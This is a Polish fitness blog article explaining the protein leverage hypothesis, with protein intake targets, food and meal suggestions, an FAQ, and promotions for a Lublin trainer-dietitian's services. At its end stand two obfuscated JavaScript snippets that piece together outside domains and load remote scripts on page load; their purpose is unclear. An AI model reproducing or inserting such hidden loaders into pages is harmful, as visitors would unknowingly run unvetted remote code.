Dlaczego ciągle podjadasz i nie możesz schudnąć? Odpowiedzią może być “dźwignia białkowa”.

To frustrujące uczucie, gdy krótko po posiłku znów czujesz ssanie w żołądku. Ta nieustanna walka z apetytem, poczucie winy po sięgnięciu po kolejną przekąskę i wrażenie, że to wszystko jest winą „słabej woli”. Brzmi znajomo? A co, jeśli za tym niepohamowanym głodem wcale nie musi stać brak charakteru, a jeden z najpotężniejszych mechanizmów biologicznych, w jakie wyposażyła nas ewolucja?

Istnieje bowiem potężny, wrodzony sygnał, który Twoje ciało próbuje Ci wysłać, a którego do tej pory mogłeś nie rozumieć. Poznaj koncepcję, która rewolucjonizuje nasze spojrzenie na kontrolę apetytu: Hipotezę Dźwigni Białkowej (Protein Leverage Hypothesis). Zrozumienie jej działania to wiedza, która może dać Ci klucz do odzyskania kontroli i zakończenia wiecznej wojony z głodem, bez zbędnego obwiniania samego siebie.

Spis Treści

Co to jest dźwignia białkowa? Nowe spojrzenie na przyczyny głodu

Zanim przejdziemy do praktyki, musimy zrozumieć fundament. Wiem, że nazwa „hipoteza dźwigni białkowej” brzmi jak skomplikowany termin z podręcznika do biochemii, ale obiecuję, że wyjaśnię Ci to w najprostszy możliwy sposób. To koncepcja, która tłumaczy, dlaczego tak naprawdę jemy i co kieruje naszym apetytem na fundamentalnym poziomie.

Definicja hipotezy dźwigni białkowej: wrodzona potrzeba organizmu do spożycia określonej ilości białka

W największym skrócie, hipoteza dźwigni białkowej zakłada, że ludzki organizm ma wrodzony, potężny pęd do zaspokojenia swojego zapotrzebowania na białko. Nasz apetyt będzie tak długo stymulowany, aż dostarczymy mu określonej, docelowej ilości tego makroskładnika. Dopiero wtedy mózg otrzymuje sygnał „OK, zadanie wykonane, możemy wyłączyć uczucie głodu”.

Co to oznacza w praktyce? Jeśli Twoja dieta jest uboga w białko, będziesz nieświadomie jeść więcej kalorii pochodzących z węglowodanów i tłuszczów, aby „dźwignąć” spożycie białka do wymaganego poziomu. To właśnie stąd bierze się słowo „dźwignia” – energia z tłuszczów i węglowodanów jest „dźwignią”, której używa organizm, by w końcu dostać to, na czym mu najbardziej zależy: aminokwasy z białka.

Twórcy koncepcji i kluczowe badania: jak naukowcy odkryli ten mechanizm?

To nie jest nowa, internetowa teoria. Koncepcję tę sformułowali dwaj profesorowie, Stephen Simpson i David Raubenheimer. Przez lata badali oni nawyki żywieniowe setek gatunków, od owadów po małpy człekokształtne. Ich obserwacje były zdumiewające: niezależnie od dostępności pożywienia, zwierzęta instynktownie regulowały swoją dietę tak, by osiągnąć stały, procentowy udział białka. Gdy podawano im pokarm o niskiej zawartości protein, po prostu jadły go znacznie więcej, aż zaspokoiły swój „głód białkowy”, przy okazji konsumując nadmiar kalorii.

Przełomowe okazały się ich badania na ludziach, które potwierdziły ten sam mechanizm. W jednym z kontrolowanych eksperymentów uczestnicy, którym podawano dietę niskobiałkową (10% kalorii), zjadali średnio o 12% więcej kalorii dziennie niż grupa na diecie z umiarkowaną zawartością białka (15%). Ta z pozoru niewielka różnica w skali roku przekłada się na tysiące nadprogramowych kalorii i nieuchronny wzrost masy ciała. Jak wskazują badania Simpsona i Raubenheimera, ten mechanizm jest głęboko zakorzeniony w naszej biologii.

Moja obrazowa analogia: dlaczego twoje ciało zachowuje się jak łowca poszukujący konkretnej zdobyczy?

Jako dietetyk, uwielbiam tłumaczyć skomplikowane procesy za pomocą prostych porównań. Pozwól, że przedstawię Ci moją ulubioną analogię, która doskonale ilustruje działanie dźwigni białkowej.

Wyobraź sobie, że Twoje ciało wysyła Cię do supermarketu z jedną, najważniejszą rzeczą na liście zakupów: “BIAŁKO”. To absolutny priorytet misji. Wchodzisz do sklepu i zaczynasz napełniać koszyk. Sięgasz po paczkę chipsów (głównie tłuszcz i węglowodany), kilka pączków (tłuszcz i cukier), słodzony napój (cukier). Twój koszyk jest już prawie pełny, zjadłeś mnóstwo kalorii, ale w Twojej głowie wciąż rozbrzmiewa alarm: „Gdzie jest białko?! Nie znalazłem jeszcze białka!”.

Dopóki nie włożysz do koszyka odpowiedniej ilości mięsa, ryby, jaj, twarogu czy porcji strączków, będziesz błądzić po alejkach, wrzucając do niego kolejne, łatwo dostępne produkty, wciąż czując, że czegoś Ci brakuje. Ten niepokój, to ssanie w żołądku – to właśnie Twój wewnętrzny „łowca białka”, który nie spocznie, dopóki nie wykona zadania. Dopiero gdy zaspokoisz ten główny cel, Twój mózg mówi: „Ok, misja wykonana, mamy wystarczająco dużo białka. Apetyt zaspokojony, możemy wracać do domu”.

Nagle okazuje się, że nie potrzebujesz już tych dodatkowych chipsów i ciastek. Problem w tym, że w diecie ubogiej w proteiny, zanim włożysz do koszyka wymaganą porcję białka, jest on już przepełniony nadmiarem kalorii z innych źródeł.

Jak działa mechanizm dźwigni białkowej w praktyce? Krok po kroku do zrozumienia swojego apetytu

Skoro rozumiesz już ogólną ideę, zejdźmy na poziom fizjologii. Dlaczego białko ma taką supermoc w kontrolowaniu naszego apetytu i dlaczego jego brak prowadzi nas na manowce?

Rola białka jako najbardziej sycącego makroskładnika: co na ten temat mówi fizjologia?

Białko jest bezdyskusyjnym królem sytości. To fakt potwierdzony w dziesiątkach badań naukowych. Jego wpływ na apetyt odbywa się na kilku poziomach:

  1. Wpływ na hormony głodu i sytości: Spożycie białka najskuteczniej obniża poziom greliny (nazywanej „hormonem głodu”) i jednocześnie podnosi poziom hormonów sytości, takich jak peptyd YY (PYY) i glukagonopodobny peptyd-1 (GLP-1), a także poprawia wrażliwość na leptynę, co jest kluczowe w prewencji leptynooporności. Mówiąc prościej: białko jednocześnie ucisza hormon mówiący „jestem głodny” i wzmacnia te, które krzyczą „jestem najedzony”.
  2. Najwyższy efekt termiczny pożywienia (TEF): Trawienie i metabolizowanie białka wymaga od organizmu najwięcej energii – aż 20-30% kalorii z białka jest zużywane na sam proces jego przetwarzania! Dla porównania, dla węglowodanów jest to 5-10%, a dla tłuszczów zaledwie 0-3%. To oznacza, że posiłek bogaty w białko realnie „kosztuje” organizm więcej energii.
  3. Stabilizacja poziomu cukru we krwi: Białko spowalnia wchłanianie węglowodanów z posiłku, co zapobiega gwałtownym skokom i spadkom poziomu glukozy we krwi – a to właśnie te wahania są często odpowiedzialne za nagłe ataki głodu i ochotę na słodycze.

Przegląd wielu badań, opublikowany m.in. w Journal of the Academy of Nutrition and Dietetics, konsekwentnie potwierdza, że diety o wyższej zawartości białka prowadzą do większego uczucia sytości, mniejszego spożycia kalorii i w konsekwencji – łatwiejszej utraty masy ciała.

Dieta uboga w białko: jak prowadzi do nieświadomego przejadania się węglowodanami i tłuszczami?

Wróćmy do naszej dźwigni. Załóżmy, że Twoje ciało (w zależności od masy ciała, wieku i aktywności) potrzebuje około 90 gramów białka dziennie. Porównajmy dwa scenariusze:

  • Scenariusz A (dieta bogata w białko): Jesz na śniadanie jajecznicę, na obiad pierś z kurczaka z warzywami, a na kolację twaróg. Stosunkowo łatwo i w niewielkiej puli kalorii (np. 1800 kcal) dostarczasz wymagane 90g białka. Efekt: Twój apetyt jest zaspokojony, a cel kaloryczny utrzymany.
  • Scenariusz B (dieta uboga w białko): Jesz na śniadanie płatki z mlekiem, na obiad makaron z sosem, a na kolację kanapki z dżemem. Po całym dniu okazuje się, że zjadłeś już 1800 kcal, ale dostarczyłeś zaledwie 45g białka. Efekt: Twój organizm utrzymuje uczucie głodu! Wysyła Cię na poszukiwania. Sięgasz więc po kolejne przekąski, a Twoje dzienne spożycie kalorii rośnie do 2500 kcal lub więcej, zanim zaspokoisz głód białkowy.

Widzisz tę zależność? To nie Twoja wina – to biologia w akcji.

Zrozumienie hipotezy dźwigni białkowej to klucz do odzyskania kontroli nad apetytem. Chcesz, aby ekspert pomógł Ci przełożyć tę wiedzę na skuteczny plan? Jeśli interesuje Cię trening personalny w Lublinie, pomogę Ci stworzyć strategię, która działa w zgodzie z Twoją fizjologią.

Pułapka żywności przetworzonej: jak niska zawartość białka w nowoczesnej diecie napędza błędne koło głodu?

Współczesny świat zastawił na nas idealną pułapkę. Przemysł spożywczy tworzy produkty, które są zaprojektowane tak, by maksymalizować zysk, a nie Twoje zdrowie. Charakteryzują się one tym, że są:

  • Ultra-smaczne i hiper-smakowite, co skłania do jedzenia nawet bez uczucia głodu.
  • Tanie i łatwo dostępne, co czyni je wygodnym wyborem.
  • Niezwykle ubogie w białko i błonnik, czyli dwa najbardziej sycące składniki.
  • Bogate w rafinowane węglowodany, tłuszcze i cukier, co czyni je bombami kalorycznymi. Ograniczenie cukru jest kluczowe, a wiedza o tym, jaki słodzik wybrać, może być pomocnym narzędziem w tym procesie.

Jedząc takie produkty, wpadamy prosto w sidła dźwigni białkowej. Zaspokajamy na chwilę ochotę na konkretny smak (słodki, słony), ale nie zaspokajamy fundamentalnej potrzeby biologicznej. Efekt? Krótkotrwała przyjemność, a zaraz po niej powracające uczucie głodu i poszukiwanie kolejnej przekąski.

Masz pytania dotyczące swojej diety i kontroli apetytu? Zastanawiasz się, jak obliczyć swoje zapotrzebowanie na białko lub jak skutecznie komponować posiłki? Umów się na konsultację online, aby uzyskać indywidualne porady.

Konsekwencje ignorowania sygnałów o zapotrzebowaniu na białko

Długotrwałe funkcjonowanie w trybie „niedoboru białka” to prosta droga do szeregu problemów. Ignorowanie tego fundamentalnego sygnału prowadzi do kaskady negatywnych skutków, takich jak:

  • Chroniczna nadwyżka kaloryczna i przyrost masy ciała.
  • Nieustanne uczucie głodu i zachcianki na niezdrową żywność.
  • Ryzyko niedoborów kluczowych aminokwasów i utrata masy mięśniowej.

Przyjrzyjmy się im bliżej.

Chroniczna nadwyżka kaloryczna i trudności z utratą wagi

To najbardziej oczywista konsekwencja. Jeśli każdego dnia musisz zjeść o 300-500 kcal więcej, tylko po to, by zaspokoić swój apetyt na białko, te kalorie muszą się gdzieś podziać. Organizm magazynuje je w postaci tkanki tłuszczowej. Nawet jeśli próbujesz się odchudzać, ale Twoja dieta redukcyjna jest źle zbilansowana i uboga w białko, walka z głodem staje się niemal niemożliwa do wygrania i jest to częsty powód, dla którego waga staje w miejscu..

Ciągłe uczucie niezaspokojenia i zachcianki na produkty wysokoprzetworzone

Gdy organizmowi brakuje kluczowego budulca, czujesz się po prostu… nie w pełni usatysfakcjonowany. Posiłki nie dają uczucia sytości na długo. To prowadzi do ciągłego myślenia o jedzeniu, rozdrażnienia i poszukiwania szybkich „strzałów” energii i smaku, które oferuje żywność przetworzona.

Potencjalne niedobory aminokwasów niezbędnych do prawidłowego funkcjonowania organizmu

Pamiętajmy, że białko to nie tylko sytość. To fundamentalny budulec każdej komórki naszego ciała. Aminokwasy (cegiełki, z których składają się białka) są niezbędne do budowy i regeneracji mięśni, produkcji hormonów, enzymów, neuroprzekaźników i komórek odpornościowych. Chroniczny niedobór białka w diecie może prowadzić do osłabienia odporności, problemów z regeneracją i utraty masy mięśniowej.

Chcesz kompleksowej opieki, która połączy spersonalizowany jadłospis z efektywnym programem treningowym? Prowadzenie dietetyczne online to zintegrowane wsparcie trenera i dietetyka.

Jak wykorzystać wiedzę o dźwigni białkowej na swoją korzyść? Praktyczne strategie okiem dietetyka

W porządku, wystarczy teorii. Najważniejsze pytanie brzmi: co możesz z tą wiedzą zrobić już dziś? Jak odwrócić ten mechanizm i sprawić, by działał na Twoją korzyść? W mojej praktyce dietetycznej stosuję kilka prostych, ale niezwykle skutecznych kroków.

Krok pierwszy: określ swoje indywidualne zapotrzebowanie na białko w diecie

To absolutna podstawa. Musisz wiedzieć, do jakiego celu dążysz. Pamiętaj, że fundamentem trwałej zmiany sylwetki jest nie tylko mądra dieta, ale także odpowiednio zaplanowany trening odchudzający, który zwiększa wydatek energetyczny i chroni masę mięśniową.

Ogólne rekomendacje a zapotrzebowanie osób aktywnych fizycznie

Oficjalne, minimalne zalecenia dla ogółu populacji wynoszą około 0,8 grama białka na kilogram masy ciała. Jest to jednak ilość absolutnie minimalna, potrzebna do uniknięcia niedoborów, a nie optymalna dla kontroli apetytu, budowy sylwetki czy dobrego samopoczucia.

Dla osób aktywnych fizycznie, odchudzających się lub chcących po prostu lepiej kontrolować głód, te wartości są znacznie wyższe. Uznane organizacje, takie jak International Society of Sports Nutrition (ISSN), rekomendują spożycie w przedziale 1.4-2.2 g/kg masy ciała. W mojej praktyce, dla większości podopiecznych celujących w redukcję tkanki tłuszczowej lub poprawę kompozycji sylwetki, ustalamy cel w okolicach 1.6-2.0 g/kg. Dla osoby ważącej 70 kg daje to od 112 do 140 g białka dziennie. To jest Twój cel na liście zakupów!

Krok drugi: świadomie komponuj posiłki z priorytetem dla źródła białka

Zmień sposób myślenia o posiłku. Zamiast pytać „Co bym zjadł/a?”, zapytaj: „Jakie będzie źródło białka w moim posiłku?”. Jeśli potrzebujesz pomocy w stworzeniu zbilansowanego planu, jako dietetyk w Lublinie specjalizuję się w komponowaniu takich jadłospisów. Dopiero gdy odpowiesz na to pytanie, dobieraj dodatki w postaci węglowodanów i tłuszczów. Niech porcja protein stanie się centralnym punktem Twojego talerza.

Najlepsze źródła białka w diecie: mięso, ryby, jaja, nabiał, strączki, tofu

Masz do dyspozycji szeroki wachlarz produktów. Oto krótka lista, którą możesz się inspirować:

  • Mięso i drób: Pierś z kurczaka, indyka, chuda wołowina, polędwiczki wieprzowe.
  • Ryby i owoce morza: Łosoś, tuńczyk, dorsz, makrela, krewetki.
  • Jaja: Absolutny wzorzec odżywczy.
  • Nabiał: Twaróg (szczególnie chudy i półtłusty), serek wiejski, jogurt grecki, skyr, ser mozzarella.
  • Roślinne źródła białka: Soczewica, ciecierzyca, fasola, groch, tofu, tempeh, edamame, seitan.
  • Orzechy i nasiona: Choć bogate też w tłuszcze, są wartościowym dodatkiem (migdały, nasiona chia, pestki dyni).

Praktyczne wskazówki jak zwiększyć ilość białka w każdym posiłku: od śniadania po kolację

  • Śniadanie: Zamiast płatków na słodko, wybierz jajecznicę, omlet lub szakszukę. Do owsianki dodaj miarkę odżywki białkowej, jogurt skyr lub twaróg. Zamiast dżemu na kanapkę połóż serek wiejski z warzywami lub kilka plastrów chudej wędliny.
  • Obiad: Upewnij się, że źródło białka (mięso, ryba, porcja strączków) zajmuje co najmniej 1/4 Twojego talerza. Jeśli jesz zupę, pomyśl o dodaniu do niej kurczaka, soczewicy lub ciecierzycy.
  • Kolacja: Idealnym wyborem jest chudy twaróg z warzywami, sałatka z tuńczykiem lub grillowanym kurczakiem, lub serek wiejski. To posiłki bogate w wolno wchłaniające się białko, które zapewni sytość na całą noc.
  • Przekąski: Gdy dopada Cię głód między posiłkami, zamiast po batona sięgnij po jogurt grecki, garść migdałów, kilka plasterków sera, gotowane jajko na twardo lub mały szejk białkowy.

Czy odżywka białkowa może być pomocnym narzędziem w tej strategii?

Oczywiście, że tak. Traktuj ją jednak dokładnie tak, jak wskazuje nazwa – jako odżywkę, czyli uzupełnienie diety, a nie jej podstawę. Jest to niezwykle wygodny sposób na szybkie i łatwe podbicie spożycia białka, szczególnie po treningu, w owsiance na śniadanie czy jako składnik zdrowego koktajlu. Jeśli zastanawiasz się nad takim rozwiązaniem, kluczowe jest, aby wiedzieć, jak wybrać najlepszą odżywkę białkową, by nie przepłacać za produkt niskiej jakości. To świetne narzędzie w Twoim arsenale, ale pamiętaj, że fundamentem zawsze powinna być pełnowartościowa, nisko przetworzona żywność.

Pamiętaj, że dieta bogata w białko to paliwo, ale to trening siłowy jest najsilniejszym sygnałem dla organizmu, by budować i chronić mięśnie. Potrzebujesz planu, który w połączeniu z mądrą dietą pomoże Ci osiągnąć Twoje cele sylwetkowe? Sprawdź Indywidualny plan na siłownię.

Najczęstsze Pytania i Odpowiedzi (FAQ)

Czy dieta wysokobiałkowa jest bezpieczna dla nerek?

Dla osób zdrowych, dieta o zwiększonej podaży białka (w granicach 1.6-2.2 g/kg masy ciała) jest uznawana za w pełni bezpieczną. Liczne badania naukowe nie potwierdzają ryzyka uszkodzenia nerek u osób bez wcześniejszych chorób tego organu. W przypadku zdiagnozowanych schorzeń nerek, konsultacja z lekarzem jest absolutnie konieczna przed zwiększeniem spożycia białka.

Ile białka jeść w jednym posiłku, aby poczuć sytość?

Aby skutecznie aktywować mechanizmy sytości, warto celować w 25-40 gramów pełnowartościowego białka w każdym głównym posiłku. Taka ilość efektywnie stymuluje uwalnianie hormonów sytości, stabilizuje poziom cukru we krwi i pomaga kontrolować apetyt aż do następnego posiłku, co znacząco ułatwia unikanie podjadania.

Czy białko roślinne działa tak samo sycąco jak zwierzęce?

Tak, białko roślinne może być równie skuteczne w kontrolowaniu apetytu. Kluczem jest jednak odpowiednia ilość i łączenie różnych źródeł (np. strączków ze zbożami), aby zapewnić kompletny profil aminokwasów. Dieta bogata w soczewicę, ciecierzycę, tofu czy komosę ryżową może skutecznie zaspokoić głód białkowy i wspierać kontrolę wagi.

Czy jedzenie białka na śniadanie jest szczególnie ważne?

Zdecydowanie tak. Śniadanie bogate w białko to kluczowa strategia w walce z podjadaniem. Stabilizuje ono poziom cukru we krwi od samego rana, co znacząco zmniejsza ryzyko napadów głodu i ochoty na słodycze w dalszej części dnia. Rozpoczęcie dnia od 25-30g białka buduje solidny fundament pod lepszą kontrolę apetytu.

Mam siedzący tryb życia. Czy “dźwignia białkowa” też mnie dotyczy?

Oczywiście. Mechanizm dźwigni białkowej dotyczy każdego, niezależnie od poziomu aktywności fizycznej. Chociaż Twoje całkowite zapotrzebowanie na kalorie jest niższe, organizm wciąż dąży do zaspokojenia swojego celu białkowego. Priorytetyzacja białka jest w Twoim przypadku nawet ważniejsza, ponieważ masz mniejszy “budżet” kaloryczny na zaspokojenie tej potrzeby.

Podsumowanie: dźwignia białkowa to nie wymówka a biologiczny mechanizm który możesz kontrolować

Mam nadzieję, że po lekturze tego artykułu czujesz nie tylko ulgę, ale przede wszystkim nową motywację i poczucie kontroli. Ciągłe podjadanie i problemy z odchudzaniem to nie musi być Twoja wina. To może być po prostu sygnał od Twojego organizmu, który do tej pory był źle interpretowany.

Główne wnioski: przestań walczyć z głodem a zacznij z nim współpracować

Klucz do sukcesu leży w zrozumieniu i współpracy z własną biologią, a nie w nieustannej walce z nią. Twój apetyt nie jest Twoim wrogiem. To system nawigacji, który próbuje doprowadzić Cię do celu. Twoim zadaniem jest jedynie upewnić się, że prowadzi Cię właściwą drogą – drogą pełnowartościowych źródeł białka.

Zamiast obwiniać się o brak silnej woli sprawdź czy twoja dieta dostarcza wystarczająco dużo białka

Następnym razem, gdy poczujesz niepohamowany głód krótko po posiłku, zatrzymaj się na chwilę. Zamiast sięgać po pierwszą lepszą przekąskę, zadaj sobie pytanie: „Ile białka zjadłem/am dzisiaj? Czy mój ostatni posiłek był w nie bogaty?”. Ta prosta zmiana perspektywy może być początkiem prawdziwej rewolucji w Twoim podejściu do żywienia.

Moja ostateczna rada jako trenera i dietetyka: postaw na białko w każdym posiłku a odzyskasz kontrolę nad apetytem

Jeśli miałbym dać Ci tylko jedną, najważniejszą radę, brzmiałaby ona właśnie tak. Uczyń białko priorytetem. Buduj wokół niego swoje posiłki. Obserwuj, jak zmienia się Twoje uczucie sytości, jak maleją zachcianki i jak odzyskujesz energię. Wykorzystaj potężną moc dźwigni białkowej na swoją korzyść, a przekonasz się, że kontrola apetytu i osiągnięcie wymarzonej sylwetki jest o wiele prostsze, niż Ci się wydawało. Powodzenia!

Śledź moje profile:

Oszczędź -10%

Zniżki, na moje usługi online!

Zapisz się i odbierz -10% na start! Bądź na bieżąco z nowościami ze świata diety i treningu.

Nie spamujemy! Przeczytaj naszą politykę prywatności, aby uzyskać więcej informacji.

Oszczędź -10%

Zniżki, na moje usługi online!

Zapisz się i odbierz -10% na start! Bądź na bieżąco z nowościami ze świata diety i treningu.

Nie spamujemy! Przeczytaj naszą politykę prywatności, aby uzyskać więcej informacji.

Linki do social media:

Sprawdź również

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();